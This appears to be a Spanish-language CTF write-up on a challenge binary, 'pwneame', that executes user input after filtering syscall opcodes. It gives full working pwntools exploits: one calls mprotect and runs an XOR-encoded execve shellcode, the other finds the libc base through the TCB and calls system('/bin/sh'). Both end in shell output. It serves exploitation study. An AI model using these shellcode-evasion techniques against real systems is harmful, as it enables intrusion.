xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



Q4

Pwneame



Reversing


Si ejecutamos el binario nos pide una entrada donde enviamos 16 bytes, nos devuelve un mensaje y corrompe de alguna forma inesperada sin más

❯ ./pwneame

pwn it: 
AAAAAAAABBBBBBBB

Go!

zsh: segmentation fault (core dumped)  ./pwneame  

Iniciamos desensamblando el programa con ida, la función main inicia llamando a mmap para reservar 0x64 o 100 bytes de memoria en la dirección 0xcafe0000, luego con memset llena el buffer que retorna que nosotros llamamos shellcode con 0's

Luego muestra un mensaje con puts y lee 0x64 bytes, llama a la función forbidden pasandole el shellcode como argumento y realiza un salto condicional si retorna 0

Si realiza el salto jz utiliza mprotect para establecer permisos 4 a 0x100 bytes del buffer asignado y realiza un call rdx donde previamente se guardó el shellcode

La función forbidden recibe el shellcode y lo guarda en una variable address, además inicializa un iterador i en 0 que se utilizará para recorrer todo el shellcode

Compara que el iterador sea menor o igual que 98, si lo es compara el byte en la posición i contra el byte 0xf, esto se hace porque los shellcodes generalmente ejecutan la instrucción syscall o sysenter las cuales en su opcode tienen 0f

❯ asm -c amd64 'syscall'
0f05

❯ asm -c amd64 'sysenter'  
0f34

En caso de que pase esa comprobación compara el byte en la posición i con 0xcd y el byte en la posición i + 1 con 0x80, esto se hace porque otra forma de realizar una syscall es ejecutar int 0x80 cuyo opcode es cd80, en caso de que exista una de estos bytes llama a puts y retorna 1 evitando asi que se ejecute el shellcode

❯ asm -c amd64 'int 0x80'  
cd80


Explotación 1


Comenzamos mirando las protecciones del binario, este contiene FULL RELRO que impide escribir en la tabla got, contiene PIE que hace aleatoria la dirección base del binario y NX que impide ejecutar shellcode en el stack sin embargo como aqui el programa ejecuta el call a un espacio reservado no nos afecta directamente

❯ checksec pwneame
[*] '/home/user/pwneame'
    Arch:       amd64-64-little  
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled

Entonces iniciamos nuestro exploit estableciendo un breakpoint en el call rdx y lo que enviaremos cuando nos pida un input será simplemente 8 nops o 0x90

#!/usr/bin/python3
from pwn import gdb, context, asm

shell = gdb.debug("./pwneame", "b *main+197\ncontinue")  
context.arch = "amd64"

shellcode  = b""
shellcode += asm("nop") * 8

shell.sendlineafter(b": \n", shellcode)
shell.recvlines(3)

shell.interactive()

Al llegar a la instrucción call rdx entramos a la llamada y vemos que se ejecutarán nuestros 8 nops, comprobamos que el input se interpreta como shellcode

Breakpoint 1, 0x00005ec6130d83b0 in main ()  
pwndbg>  x/i $rip
=> 0x5ec6130d83b0 <main+197>:	call   rdx
pwndbg> si
0x00000000cafe0000 in ?? ()
pwndbg> x/8i $rip
=> 0xcafe0000:	nop
   0xcafe0001:	nop
   0xcafe0002:	nop
   0xcafe0003:	nop
   0xcafe0004:	nop
   0xcafe0005:	nop
   0xcafe0006:	nop
   0xcafe0007:	nop
pwndbg>

Si podemos ejecutar shellcode normalmente enviamos un shellcode como este de 21 bytes que ejecute un execve("/bin/sh", NULL, NULL); sin embargo por la limitación en la syscall al intentar ejecutarlo nos muestra Forbidden y no lo ejecuta

#!/usr/bin/python3
from pwn import process, context, asm

shell = process("./pwneame")
context.arch = "amd64"

shellcode  = b""
shellcode += asm("push 0x3b")                 # execve() NR
shellcode += asm("pop rax")                   # $rax = execve()
shellcode += asm("mov rdi, 0x68732f6e69622f") # $rdi = "/bin/sh"
shellcode += asm("push rdi")                  # $rsp = &"/bin/sh"
shellcode += asm("push rsp")                  # &"/bin/sh"
shellcode += asm("pop rdi")                   # $rdi = &"/bin/sh"
shellcode += asm("cdq")                       # $rdx = NULL
shellcode += asm("push rdx")                  # $rsp = &0x0
shellcode += asm("pop rsi")                   # $rdi = NULL
shellcode += asm("syscall")                   # system call execve()  

shell.sendlineafter(b": \n", shellcode)
shell.recvlines(3)

shell.interactive()

❯ python3 exploit.py
[+] Starting local process './pwneame': pid 57510  
[*] Switching to interactive mode
Forbidden!
[*] Got EOF while reading in interactive
$

Una técnica muy conocida es aplicar una operación xor al shellcode, en este caso con la key 0x1 y enviar un decoder que en este caso funciona de la siguiente forma

El decoder inicia guardando la longitud del shellcode en rcx, guarda en rdi la dirección donde inicia y hace un short jump para evitar ejecutar el shellcode xoreado, luego realiza un bucle donde por cada iteración realiza el mismo xor en el byte y decremente rcx, incrementa rdi para pasar al siguiente byte y continua hasta que rcx llega a 0 y salta al shellcode original que ya ha sido decodeado con el xor

#!/usr/bin/python3
from pwn import gdb, context, asm, xor

shell = gdb.debug("./pwneame", "b *main+197\ncontinue")
context.arch = "amd64"

shellcode  = b""
shellcode += asm("push 0x3b")                 # execve() NR
shellcode += asm("pop rax")                   # $rax = execve()
shellcode += asm("mov rdi, 0x68732f6e69622f") # $rdi = "/bin/sh"
shellcode += asm("push rdi")                  # $rsp = &"/bin/sh"
shellcode += asm("push rsp")                  # &"/bin/sh"
shellcode += asm("pop rdi")                   # $rdi = &"/bin/sh"
shellcode += asm("cdq")                       # $rdx = NULL
shellcode += asm("push rdx")                  # $rsp = &0x0
shellcode += asm("pop rsi")                   # $rdi = NULL
shellcode += asm("syscall")                   # system call execve()

shellcode = xor(shellcode, 0x1)

payload  = b""
payload += asm("push 0x15")               # $rsp = len(shellcode)
payload += asm("pop rcx")                 # $rcx = counter
payload += asm("add edi, 0x8")            # $rdi = shellcode start
payload += asm("jmp $+0x17")              # jump xored shellcode
payload += shellcode                      # save xored shellcode
payload += asm("xor byte ptr [rdi], 0x1") # restore xored byte
payload += asm("dec cl")                  # decrease counter
payload += asm("inc edi")                 # increase address
payload += asm("jrcxz $-0x1c")            # if $rcx == 0 -> exec shellcode  
payload += asm("jmp $-0x9")               # if $rcx != 0 -> loop to decode  

shell.sendlineafter(b": \n", payload)
shell.recvlines(3)

shell.interactive()

Si intentamos ejecutar nuestro exploit nos encontramos un gran problema, al intentar ejecutar el primer xor el programa corrompe debido a que el espacio reservado tiene solo privilegios x pero no w por lo que no puede modificar la memoria

Breakpoint 1, 0x00005aa942c383b0 in main ()
pwndbg> c
Continuando.

Program received signal SIGSEGV, Segmentation fault.
0x00000000cafe001d in ?? ()
pwndbg> x/i $rip
=> 0xcafe001d:	xor    BYTE PTR [rdi],0x1
pwndbg> vmmap 0xcafe0000
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
►       0xcafe0000         0xcafe1000 --xp     1000      0 [anon_cafe] +0x0
    0x5aa942c37000     0x5aa942c38000 r--p     1000      0 /home/user/pwneame  
pwndbg>

Afortunadamente cuando llegamos al call el registro rcx se almacena la dirección de mprotect + 11, podriamos usar mprotect para modificar estos privilegios a gusto

Breakpoint 1, 0x000061b0c04e03b0 in main ()
pwndbg> x/i $rcx
   0x7cdfa351e8bb <mprotect+11>:    cmp    rax,0xfffffffffffff001    
pwndbg>

Entonces, nuestro shellcode guarda en rax la dirección de mprotect a partir del registro rcx, luego en rdi la dirección 0xcafe0000 que es donde queremos modificar, en rsi la longitud 0x1000 y finalmente en rdx los privilegios 7 que equivale a rwx, una vez seteados llamamos a rax que contiene el mprotect

#!/usr/bin/python3
from pwn import gdb, context, asm

shell = gdb.debug("./pwneame", "b *main+197\ncontinue")
context.arch = "amd64"

payload  = b""
payload += asm("lea rax, [rcx - 0xb]") # $rax = mprotect()  
payload += asm("xor rdi, rdi")         # $rdi = 0x0
payload += asm("mov edi, 0xcafeffff")  # $rdi = 0xcafeffff
payload += asm("inc di")               # $rdi = 0xcafe0000
payload += asm("push 0x10")            # $rsp = &0x10
payload += asm("pop rsi")              # $rsi = 0x10
payload += asm("shl rsi, 0x8")         # $rsi = 0x1000
payload += asm("push 0x7")             # $rsp = &0x7
payload += asm("pop rdx")              # $rdx = 0x7
payload += asm("call rax")             # call mprotect()

shell.sendlineafter(b": \n", payload)
shell.recvlines(3)

shell.interactive()

Entonces, cuando llegamos al breakpoint saltamos a la llamada y podemos ver que se llamará a la función mprotect(0xcafe0000, 0x1000, 0x7); que modificará los permisos

Breakpoint 1, 0x000063e80d1b73b0 in main ()
pwndbg> si
0x00000000cafe0000 in ?? ()
pwndbg> nextcall
Temporary breakpoint -10, 0x00000000cafe0019 in ?? ()  
pwndbg> x/i 0xcafe0019
=> 0xcafe0019:	call   rax  
pwndbg> x/i $rax
  0x74f93151e8b0 <mprotect>:	endbr64
pwndbg> p/x $rdi
$1 = 0xcafe0000
pwndbg> p/x $rsi
$2 = 0x1000
pwndbg> p/x $rdx
$3 = 0x7
pwndbg>

Cuando llamamos a mprotect podemos comprobar los permisos de la dirección 0xcafe0000 y ahora se han modificado a rwx por lo que deberiamos poder escribir

pwndbg> ni
0x00000000cafe001b in ?? ()
pwndbg> vmmap 0xcafe0000
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
►       0xcafe0000         0xcafe1000 rwxp     1000      0 [anon_cafe] +0x0
    0x63e80d1b6000     0x63e80d1b7000 r--p     1000      0 /home/user/pwneame  
pwndbg>

Nuestro exploit final inicia ejecutando mprotect para cambiar los permisos a rwx y luego ya ejecuta el decoder que anteriormente vimos como funciona, una vez que se restauramos el shellcode original con execve lo ejecuta y nos otorga la shell

#!/usr/bin/python3
from pwn import process, context, asm, xor

shell = process("./pwneame")
context.arch = "amd64"

shellcode  = b""
shellcode += asm("push 0x3b")                 # execve() NR
shellcode += asm("pop rax")                   # $rax = execve()
shellcode += asm("mov rdi, 0x68732f6e69622f") # $rdi = "/bin/sh"
shellcode += asm("push rdi")                  # $rsp = &"/bin/sh"
shellcode += asm("push rsp")                  # &"/bin/sh"
shellcode += asm("pop rdi")                   # $rdi = &"/bin/sh"
shellcode += asm("cdq")                       # $rdx = NULL
shellcode += asm("push rdx")                  # $rsp = &0x0
shellcode += asm("pop rsi")                   # $rdi = NULL
shellcode += asm("syscall")                   # system call execve()

shellcode = xor(shellcode, 0x1)

payload  = b""
payload += asm("lea rax, [rcx - 0xb]")        # $rax = mprotect()
payload += asm("xor rdi, rdi")                # $rdi = 0x0
payload += asm("mov edi, 0xcafeffff")         # $rdi = 0xcafeffff
payload += asm("inc di")                      # $rdi = 0xcafe0000
payload += asm("push 0x10")                   # $rsp = &0x10
payload += asm("pop rsi")                     # $rsi = 0x10
payload += asm("shl rsi, 0x8")                # $rsi = 0x1000
payload += asm("push 0x7")                    # $rsp = &0x7
payload += asm("pop rdx")                     # $rdx = 0x7
payload += asm("call rax")                    # call mprotect()

payload += asm("push 0x15")                   # $rsp = len(shellcode)
payload += asm("pop rcx")                     # $rcx = counter
payload += asm("add edi, 0x23")               # $rdi = shellcode start
payload += asm("jmp $+0x17")                  # jump xored shellcode
payload += shellcode                          # save xored shellcode
payload += asm("xor byte ptr [rdi], 0x1")     # restore xored byte
payload += asm("dec cl")                      # decrease counter
payload += asm("inc edi")                     # increase address
payload += asm("jrcxz $-0x1c")                # if $rcx == 0 -> exec shellcode  
payload += asm("jmp $-0x9")                   # if $rcx != 0 -> loop to decode  

shell.sendlineafter(b": \n", payload)
shell.recvlines(3)

shell.interactive()

❯ python3 exploit.py
[+] Starting local process './pwneame': pid 65488  
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$


Explotación 2


Otra forma interesante ya que nos otorgan el archivo libc.so.6 es obtener la dirección base de libc, esto lo hacemos accediendo a la estructura TCB en el segmento fs en el offset 0x0, guardamos en rax el qword que se encuentra en el offset 0xb20 de la dirección obtenida, este offset contiene la dirección base de libc

#!/usr/bin/python3
from pwn import gdb, context, asm

shell = gdb.debug("./pwneame", "continue")
context.arch = "amd64"

shellcode  = b""
shellcode += asm("int3")                   # breakpoint
shellcode += asm("mov rax, fs:[0x0]")      # $rax = fs segment  
shellcode += asm("mov rax, [rax + 0xb20]") # $rax = libc base

shell.sendlineafter(b": \n", shellcode)
shell.recvlines(3)

shell.interactive()

Llegamos al breakpoint establecido con int3 y podemos ver nuestras 2 instrucciones

Program received signal SIGTRAP, Trace/breakpoint trap.  
0x00000000cafe0001 in ?? ()
pwndbg> x/3i $rip-1
   0xcafe0000:	int3
=> 0xcafe0001:	mov    rax,QWORD PTR fs:0x0
   0xcafe000a:	mov    rax,QWORD PTR [rax+0xb20]
pwndbg> ni
0x00000000cafe000a in ?? ()
pwndbg> ni
0x00000000cafe0011 in ?? ()
pwndbg>

Al ejecutar ambas podemos ver que el contenido de rax es la dirección base de libc

pwndbg> p/x $rax
$1 = 0x7eee83a00000
pwndbg> vmmap libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x5679204b4000     0x5679204b8000 rw-p     4000   3000 /home/user/pwneame
►   0x7eee83a00000     0x7eee83a28000 r--p    28000      0 /home/user/libc.so.6
►   0x7eee83a28000     0x7eee83bbd000 r-xp   195000  28000 /home/user/libc.so.6
►   0x7eee83bbd000     0x7eee83c15000 r--p    58000 1bd000 /home/user/libc.so.6
►   0x7eee83c15000     0x7eee83c19000 r--p     4000 214000 /home/user/libc.so.6
►   0x7eee83c19000     0x7eee83c1b000 rw-p     2000 218000 /home/user/libc.so.6
    0x7eee83c1b000     0x7eee83c71000 r--p     2000      0 /home/user/ld-linux-x86-64.so.2  
pwndbg>

Ya con esto solo nos queda sumar los offsets para la función system y la string /bin/sh y hacer la llamada a la función calculada para asi obtener una shell

❯ libcdb file libc.so.6
[*] libc.so.6
    Version:     2.35
    BuildID:     203de0ae33b53fee1578b117cb4123e85d0534f0
    MD5:         a1aab220521fd980ab1467698349d259
    SHA1:        d70dd881e95e9e71ccfac941db27122a415f5086
    SHA256:      cf04db546ffc02cda97831d1711215015dc76927c415e59cbfcc1929ff1b00c4  
    Symbols:
        __libc_start_main_ret = 0x29d90
                         dup2 = 0x114e20
                       printf = 0x606f0
                         puts = 0x80e50
                         read = 0x1145e0
                   str_bin_sh = 0x1d8678
                       system = 0x50d70
                        write = 0x114680

Entonces, obtenemos la dirección libc base en rax y la copiamos en rdi, a rdi le sumamos el offset de /bin/sh y a rax el de de system que luego llamaremos

#!/usr/bin/python3
from pwn import gdb, context, asm

shell = gdb.debug("./pwneame", "continue")
context.arch = "amd64"

shellcode  = b""
shellcode += asm("mov rax, fs:[0x0]")      # $rax = fs segment  
shellcode += asm("mov rax, [rax + 0xb20]") # $rax = libc base
shellcode += asm("mov rdi, rax")           # $rdi = libc base
shellcode += asm("add rdi, 0x1d8678")      # $rdi = &"/bin/sh"
shellcode += asm("add rax, 0x50d70")       # $rax = system()
shellcode += asm("call rax")               # system("/bin/sh")

shell.sendlineafter(b": \n", shellcode)
shell.recvlines(3)

shell.interactive()

Una vez ejecutamos el exploit podemos ver que se corrompe al ejecutar un movaps, esto se debe a que las funciones de libc en x64 requieren que la pila este alineada en 16 bytes, osea que la direccion de rsp termine en 0 que en este caso no es asi

Program received signal SIGSEGV, Segmentation fault.
0x00007eedc9050973 in __sigemptyset (set=<optimized out>)
pwndbg> x/i $rip
=> 0x7eedc9050973 <do_system+115>:	movaps XMMWORD PTR [rsp],xmm1  
pwndbg> p/x $rsp
$1 = 0x7ffc85cd8818
pwndbg>

Este problema lo solucionamos alineando un stack al ejecutar un add rsp, 8 antes de la llamada, entonces nuestro exploit calcula la dirección de libc base y al sumar los offsets podemos ejecutar un system("/bin/sh"); que nos devuelve una shell

#!/usr/bin/python3
from pwn import process, context, asm

shell = process("./pwneame")
context.arch = "amd64"

shellcode  = b""
shellcode += asm("mov rax, fs:[0x0]")      # $rax = fs segment  
shellcode += asm("mov rax, [rax + 0xb20]") # $rax = libc base
shellcode += asm("mov rdi, rax")           # $rdi = libc base
shellcode += asm("add rdi, 0x1d8678")      # $rdi = &"/bin/sh"
shellcode += asm("add rax, 0x50d70")       # $rax = system()
shellcode += asm("add rsp, 0x8")           # align stack
shellcode += asm("call rax")               # system("/bin/sh")

shell.sendlineafter(b": \n", shellcode)
shell.recvlines(3)

shell.interactive()

❯ python3 exploit2.py
[+] Starting local process './pwneame': pid 73280  
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$